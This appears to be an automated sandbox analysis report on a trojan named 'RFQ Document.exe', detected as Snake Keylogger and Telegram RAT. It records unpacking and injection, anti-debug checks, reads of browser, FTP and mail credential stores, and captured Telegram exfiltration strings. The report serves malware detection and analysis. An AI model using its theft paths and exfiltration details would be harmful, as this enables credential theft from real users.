Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Users\user\Desktop\RFQ Document.exe

File created: C:\Users\user\AppData\Local\Temp\nsk2EC6.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@5/3

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 1_2_00402053 CoCreateInstance,MultiByteToWideChar,

Source: C:\Users\user\Desktop\RFQ Document.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 1_2_004042C1 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

Source: C:\Users\user\Desktop\RFQ Document.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 2_2_00401489 GetModuleHandleW,GetModuleHandleW,FindResourceW,GetModuleHandleW,LoadResource,LockResource,GetModuleHandleW,SizeofResource,FreeResource,ExitProcess,

Source: RFQ Document.exe

String found in binary or memory: F-Stopw

Source: 2.2.RFQ Document.exe.4940000.5.unpack, ???mufffd/ufffd???R.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 2.2.RFQ Document.exe.4940000.5.unpack, ufffdufffd??ufffd/ufffdu0609ufffd?m.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Users\user\Desktop\RFQ Document.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\RFQ Document.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\RFQ Document.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\RFQ Document.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\RFQ Document.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\RFQ Document.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source:	Binary string: wntdll.pdbUGP source: RFQ Document.exe, 00000001.00000003.668676239.000000000E820000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RFQ Document.exe, 00000001.00000003.668676239.000000000E820000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

Unpacked PE file: 2.2.RFQ Document.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

Unpacked PE file: 2.2.RFQ Document.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.gfids:R;.rsrc:R;

Detected unpacking (creates a PE file in dynamic memory)

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

Unpacked PE file: 2.2.RFQ Document.exe.4940000.5.unpack

Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_00401F16 push ecx; ret
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594FD90 pushfd ; ret
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594FE19 pushfd ; ret

Source: C:\Users\user\Desktop\RFQ Document.exe

File created: C:\Users\user\AppData\Local\Temp\nsf2EF6.tmp\tkwj.dll

Jump to dropped file

Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\RFQ Document.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\RFQ Document.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_00405EC2 FindFirstFileA,FindClose,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_004054EC DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_00402671 FindFirstFileA,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_00404A29 FindFirstFileExW,

Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	Binary or memory string: {"ok":true,"result":{"message_id":12828,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"document":{"file_name":"SnakePW.txt","mime_type":"text/plain","file_id":"BQACAgQAAxkDAAIyHGFSr0k04FSKMz2uOWGp3zHXGj4OAALpDAACxkKRUr9jsMmoR-bZIQQ","file_unique_id":"AgAD6QwAAsZCkVI","file_size":195},"caption":"Pc Name: user \| Snake Keylogger\n\nPW \| user \| Snake"}}
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	Binary or memory string: {"ok":true,"result":{"message_id":12828,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"document":{"file_name":"SnakePW.txt","mime_type":"text/plain","file_id":"BQACAgQAAxkDAAIyHGFSr0k04FSKMz2uOWGp3zHXGj4OAALpDAACxkKRUr9jsMmoR-bZIQQ","file_unique_id":"AgAD6QwAAsZCkVI","file_size":195},"caption":"Pc Name: user \| Snake Keylogger\n\nPW \| user \| Snake"}}d
Source: RFQ Document.exe, 00000002.00000002.929213067.0000000005FCB000.00000004.00000001.sdmp	Binary or memory string: {"ok":true,"result":{"message_id":12828,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"document":{"file_name":"SnakePW.txt","mime_type":"text/plain","file_id":"BQACAgQAAxkDAAIyHGFSr0k04FSKMz2uOWGp3zHXGj4OAALpDAACxkKRUr9jsMmoR-bZIQQ","file_unique_id":"AgAD6QwAAsZCkVI","file_size":195},"caption":"Pc Name: user \| Snake Keylogger\n\nPW \| user \| Snake"}}
Source: RFQ Document.exe, 00000002.00000002.926716037.00000000024F7000.00000004.00000001.sdmp	Binary or memory string: k":true,"result":{"message_id":12828,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808777,"document":{"file_name":"SnakePW.txt","mime_type":"text/plain","file_id":"BQACAgQAAxkDAAIyHGFSr0k04FSKMz2uOWGp3zHXGj4OAALpDAACxkKRUr9jsMmoR-bZIQQ","file_unique_id":"AgAD6QwAAsZCkVI","file_size":195},"caption":"Pc Name: user \| Snake Keylogger\n\nPW \| user \| Snake"}}j
Source: RFQ Document.exe, 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllA

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 2_2_0040446F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 2_2_004067FE GetProcessHeap,

Source: C:\Users\user\Desktop\RFQ Document.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8B472 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8B7B4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8B776 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8B737 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8B686 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_004035F1 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 2_2_0234C1D7 LdrInitializeThunk,

Source: C:\Users\user\Desktop\RFQ Document.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_00401E1D SetUnhandledExceptionFilter,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0040446F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_00401C88 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_00401F30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion:

.NET source code references suspicious native API functions

Show sources

Source: 2.2.RFQ Document.exe.4940000.5.unpack, ufffdufffd??ufffd/ufffdu0609ufffd?m.cs	Reference to suspicious API methods: ('R????', 'MapVirtualKey@user32.dll')
Source: 2.2.RFQ Document.exe.4940000.5.unpack, ?????/ufffdud9d8udc81iu26ca.cs	Reference to suspicious API methods: ('c?Z??', 'LoadLibrary@kernel32.dll'), ('i???;', 'GetProcAddress@kernel32')

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

Memory written: C:\Users\user\Desktop\RFQ Document.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\RFQ Document.exe

Process created: C:\Users\user\Desktop\RFQ Document.exe 'C:\Users\user\Desktop\RFQ Document.exe'

Source: RFQ Document.exe, 00000002.00000002.926341642.0000000000E10000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: RFQ Document.exe, 00000002.00000002.926341642.0000000000E10000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RFQ Document.exe, 00000002.00000002.926341642.0000000000E10000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RFQ Document.exe, 00000002.00000002.926341642.0000000000E10000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\RFQ Document.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\RFQ Document.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\RFQ Document.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\Desktop\RFQ Document.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\RFQ Document.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 2_2_0040208D cpuid

Source: C:\Users\user\Desktop\RFQ Document.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 2_2_00401B74 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\user\Desktop\RFQ Document.exe

Stealing of Sensitive Information:

Yara detected Snake Keylogger

Show sources

Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.4940000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, type: MEMORY

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.4940000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ Document.exe PID: 2628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RFQ Document.exe PID: 6484, type: MEMORYSTR

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\RFQ Document.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.4940000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ Document.exe PID: 2628, type: MEMORYSTR

Remote Access Functionality:

Yara detected Snake Keylogger

Show sources

Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.4940000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.415058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.415058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, type: MEMORY

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.22f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.4940000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.7b49c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RFQ Document.exe.e7e1458.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.RFQ Document.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.3465530.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RFQ Document.exe.400000.1.raw.unpack, type: UNPACKEDPE
